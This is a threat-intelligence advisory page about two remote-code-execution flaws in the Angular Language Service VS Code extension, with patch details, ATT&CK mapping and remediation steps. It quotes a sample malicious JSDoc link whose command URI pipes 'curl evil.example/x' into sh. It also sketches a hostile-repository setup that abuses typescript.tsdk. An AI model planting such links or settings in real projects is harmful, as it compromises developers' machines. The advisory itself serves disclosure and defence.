Angular Language Service VS Code Extension (Angular.ng-template) Multiple RCE Vulnerabilities — GHSA-ccq4-xmxr-8hcq

Angular Language Service VS Code Extension (TL-2026-0595), also tracked as GHSA-ccq4-xmxr-8hcq, is a high-severity software vulnerability scored CVSS 8.7, first published 2026-05-26. It has no confirmed attribution, affects Angular (Google) Angular Language Service VS Code Extension, maps to 20 MITRE ATT&CK techniques (T1005, T1036, T1041), and is covered by 9 detection rules and 16 indicators of compromise.

Key facts for TL-2026-0595

Threat ID
TL-2026-0595
Also known as
GHSA-ccq4-xmxr-8hcq, Angular Language Service RCE, Angular.ng-template tsdk RCE
Severity
HIGH
CVSS
8.7 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
Status
PATCHED
Category
VULNERABILITY
First published
2026-05-26
Last reviewed
2026-05-26
Attribution confidence
NONE
Motivation
UNKNOWN
Target sectors
technology, software-development, financial, government, healthcare, education, defense, telecommunications
Target regions
Global
Detection rules
9
Indicators of compromise
16

Two RCE-class vulnerabilities in the Angular Language Service VS Code extension (Angular.ng-template) prior to v21.2.4 allow arbitrary code execution on developer workstations. The first path abuses Markdown rendering with isTrusted:true so that a malicious JSDoc hover link executes a VS Code command URI on click. The second is a zero-click Workspace Trust bypass: the extension reads typescript.tsdk from workspace .vscode/settings.json without consent and Node.js require()s tsserverlibrary.js from the attacker-controlled path the moment the project is opened. With 9.5M+ marketplace installs and a now-standard developer-targeting supply-chain TTP (open the repo, get owned), the tsdk vector is the dangerous one.

How Angular Language Service VS Code Extension works

## Overview

GHSA-ccq4-xmxr-8hcq covers a cluster of remote code execution defects in the Angular Language Service Visual Studio Code extension (`Angular.ng-template`, publisher Angular/Google) for all versions prior to **21.2.4**. The extension is installed approximately **9.5 million times** on the VS Code Marketplace, giving the bug class an exceptionally broad blast radius across enterprise development environments, CI runners with VS Code Server, and individual developer workstations.

Two distinct exploitation paths are confirmed in the advisory and the merged patch set (PRs #68857, #68858, #68886 against `github.com/angular/angular`, merged 2026-05-22 to `main` and `22.0.x`).

## Path 1 — JSDoc Hover Markdown Command Injection (UI:P, hover + click)

The Angular client extension (`client/src/client.ts`) instantiates VS Code Markdown tooltip renderers with `isTrusted: true`. Per the official VS Code extension guides, that flag allows rendered Markdown to invoke `command:` URIs. The language server (`server/src/handlers/hover.ts`, `server/src/text_render.ts`) builds hover content from JSDoc comments attached to TypeScript/JavaScript symbols (including inline Angular templates) **without escaping square brackets or sanitizing raw Markdown links**. An attacker who controls a file in a repository — whether top-level, transitive in `node_modules`, or pulled in by a custom resolver — can plant a JSDoc comment containing a Markdown link such as `[Docs](command:workbench.action.terminal.sendSequence?{"text":"curl evil.example/x|sh "})`. When the developer hovers the symbol and clicks the link in the tooltip, VS Code executes the embedded command URI, which can chain to shell command execution via terminal-sequence injection, `vscode.openFolder`, task execution, etc. Patch #68858 (commit `6d8b156b45` / `eeb7da76db55f50d48c3b92c736ee257a5193c3e`) restricts JSDoc Markdown trust, hardens document opening through official workspace APIs, and routes hover links through a dedicated `openJSDocLink` command handler that enforces allowlisting.

## Path 2 — `typescript.tsdk` Insecure Library Load (UI:N on project open, Workspace Trust bypass)

The client extension reads `typescript.tsdk` and the newer `js/ts.tsdk.path` directly from workspace settings during activation, **without checking Workspace Trust** and without prompting. The resolved string is forwarded as the `--tsdk <path>` CLI argument to the spawned Node.js language server. The server then resolves `<tsdk>/tsserverlibrary.js` and loads it via Node's native `require()`, executing the file in the LS process with the developer's user privileges.

A hostile repository ships a `.vscode/settings.json` containing for example `"typescript.tsdk": "./.evil"` together with `./.evil/tsserverlibrary.js` containing arbitrary Node code. The moment the developer runs `git clone` and `code <repo>` — or VS Code reopens the folder from history — the Angular Language Service auto-spawns, `require()`s the attacker file, and code execution occurs **with zero user interaction**. Workspace Trust is bypassed because the load happens before the extension enters Restricted Mode boundaries. Patch #68857 (commit `82cf38ad95` / `7aef352d4b3e09e184e3d456e86bc00c515bfaa4`) prompts for confirmation before loading a workspace tsdk and ignores tsdk entirely in untrusted workspaces; patch #68886 (commit `4a41831326`) disables the language server outright in untrusted workspaces as defense in depth.

## Supply-Chain Context

The vulnerability arrives in the same threat-model neighborhood as the 2025 Nx Console VS Code extension supply-chain compromise (which impacted roughly 3,800 GitHub repositories), the Lazarus/Contagious-Interview campaigns that lure developers into cloning malicious repos under coding-interview pretexts, and the recurring class of `vscode-*` and IDE-extension bugs that let an opened folder execute code. Any actor running a malicious-repo lure (fake job interview takehome, fake PR review request, look-alike OSS fork, typo-squatted dependency containing a `.vscode/` directory) can weaponize Path 2 today with a five-line `settings.json` and a tiny `tsserverlibrary.js` payload.

## Discovery & Disclosure

The advisory was published 2026-05-23 08:07 UTC by `alan-agius4` of the Angular team. Remediation was developed by `atscott` (Andrew Scott) with merges by `alxhub` and additional credit to `josephperrott`. No external researcher is publicly credited; discovery appears to be internal. No CVE has been assigned at time of publication — the GitHub Advisory Database returns `cve_id: null`, and NVD has no matching record.

## Severity

Angular publishes CVSS v4.0 only: **8.7 High** with vector `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`. The `UI:P` value reflects Path 1; Path 2 in isolation would warrant `UI:N` (true zero-click), so 8.7 is a conservative single-vector summary. No CVSS v3.1 vector was published.

## Affected Versions and Fix

Vulnerable: `Angular.ng-template` < 21.2.4 (all prior versions). Patched: 21.2.4, released on or about 2026-05-22/23 in conjunction with the advisory. The standalone repo `angular/vscode-ng-language-service` was archived on 2025-11-21; security work is performed in the consolidated `angular/angular` monorepo.

MITRE ATT&CK techniques used in TL-2026-0595

Collection

T1005 Data from Local System

Defense Evasion

T1036 Masquerading; T1480 Execution Guardrails; T1574 Hijack Execution Flow

Exfiltration

T1041 Exfiltration Over C2 Channel

Execution

T1059 Command and Scripting Interpreter; T1106 Native API; T1204 User Execution

Command and Control

T1071 Application Layer Protocol; T1105 Ingress Tool Transfer

Discovery

T1083 File and Directory Discovery

Initial Access

T1189 Drive-by Compromise; T1195 Supply Chain Compromise; T1566 Phishing

Persistence

T1546 Event Triggered Execution

Credential Access

T1552 Unsecured Credentials; T1555 Credentials from Password Stores

Resource Development

T1583 Acquire Infrastructure; T1587 Develop Capabilities; T1608 Stage Capabilities

Affected products and versions in Angular Language Service VS Code Extension

  • Angular (Google) — Angular Language Service VS Code Extension (Angular.ng-template)
    Vulnerable versions: < 21.2.4
    Fixed in: 21.2.4

Remediation for Angular Language Service VS Code Extension

Patches

  • Angular.ng-template VS Code extension 21.2.4 (Marketplace, May 22-23 2026)
  • angular/angular PR #68857 commit 7aef352d4b3e09e184e3d456e86bc00c515bfaa4 — tsdk consent prompt + untrusted-workspace gate
  • angular/angular PR #68858 commit eeb7da76db55f50d48c3b92c736ee257a5193c3e — JSDoc Markdown trust restriction + openJSDocLink command
  • angular/angular PR #68886 — disable Angular Language Service in untrusted workspaces

Immediate actions

  • Upgrade Angular.ng-template VS Code extension to >= 21.2.4 organization-wide (push via VS Code extension management, MDM, or `code --install-extension Angular.ng-template@21.2.4`).
  • Block VS Code auto-update lag by deploying an extensions allowlist (`extensions.json` recommendations + `code-workspace.recommendations`) that pins to 21.2.4+.
  • Enable VS Code Workspace Trust globally (`security.workspace.trust.enabled: true`, `security.workspace.trust.untrustedFiles: prompt`, `security.workspace.trust.startupPrompt: always`).
  • Audit all developer workstations for cloned repositories containing a `typescript.tsdk` or `js/ts.tsdk.path` value in `.vscode/settings.json` that points to a workspace-relative path; quarantine the repo and the developer host pending triage.
  • Block outbound network from `node` child processes of Code.exe / code-server that fire within 10 seconds of folder open (EDR behavioral rule).

Workarounds

  • Disable Angular.ng-template extension (`code --disable-extension Angular.ng-template`) on any workstation that cannot patch immediately.
  • Use VS Code Restricted Mode (`security.workspace.trust.untrustedFiles: newWindow`) for any unfamiliar repository.
  • Override the user-level setting `typescript.tsdk` to an absolute path to the bundled VS Code TypeScript install and treat workspace overrides as suspect via Conditional Access on `settings.json` deltas.
  • Strip `.vscode/` directories from incoming repositories with a Git pre-clone hook or repository sandbox before opening in VS Code.

Longer-term hardening

  • Mandate Workspace Trust restricted mode for any repository pulled from outside the organization (GitHub forks, npm tarballs, contractor handoffs, interview takehomes).
  • Move developer IDE workloads to ephemeral dev containers / GitHub Codespaces / VS Code Remote Dev so RCE on the LS process is contained.
  • Inventory and pin VS Code extensions via Group Policy / MDM; treat the Marketplace as an untrusted supply chain and apply the same controls used for OS packages (allowlist, pin, scan).
  • Deploy EDR with behavioral detection for Node.js child processes of editor binaries that load JS files from non-standard `tsserver`/`tsserverlibrary` paths.
  • Train developers on the `git clone` → `code .` attack pattern; require Restricted Mode for any repo not yet reviewed.

Weaknesses (CWE) in Angular Language Service VS Code Extension

CWE-79, CWE-94, CWE-427, CWE-494, CWE-829, CWE-1188

Timeline of Angular Language Service VS Code Extension

  • Standalone repository angular/vscode-ng-language-service archived; Angular Language Service development consolidated into the angular/angular monorepo.
  • PRs #68857 (commit 7aef352d4b3e09e184e3d456e86bc00c515bfaa4 — tsdk consent prompt) and #68858 (commit eeb7da76db55f50d48c3b92c736ee257a5193c3e — JSDoc Markdown trust restriction) and #68886 (disable LS in untrusted workspaces) merged to angular/angular main and 22.0.x branches.
  • GitHub Security Advisory GHSA-ccq4-xmxr-8hcq published at 08:07 UTC by alan-agius4 of the Angular team; severity High (CVSS v4.0 8.7); no CVE assigned.
  • Angular.ng-template extension 21.2.4 published to the VS Code Marketplace bundling all three patches.
  • Threadlinqs Intelligence published TL-2026-0595 with full MITRE mapping, detections, and simulations to support patching and hunting across enterprise developer estates.
  • Coverage in Cyber Security News, Cyber Press, and GBHackers describing both attack paths and emphasizing the zero-click tsdk vector against the 9.5M-install developer extension.
  • As of 2026-05-29, GHSA-ccq4-xmxr-8hcq is fixed: Angular.ng-template 21.2.4 is the current Marketplace release bundling all three patches (PRs #68857/#68858/#68886), with no evidence of in-the-wild exploitation and no CISA KEV listing. Risk persists only on unpatched <21.2.4 estates via the clone-and-open TTP, so org-wide upgrade remains the action.

Sources cited for Angular Language Service VS Code Extension

Threats related to Angular Language Service VS Code Extension

Detection coverage for TL-2026-0595

As of 2026-05-26, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0595 across Splunk SPL, Microsoft KQL and Sigma, covering 16 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats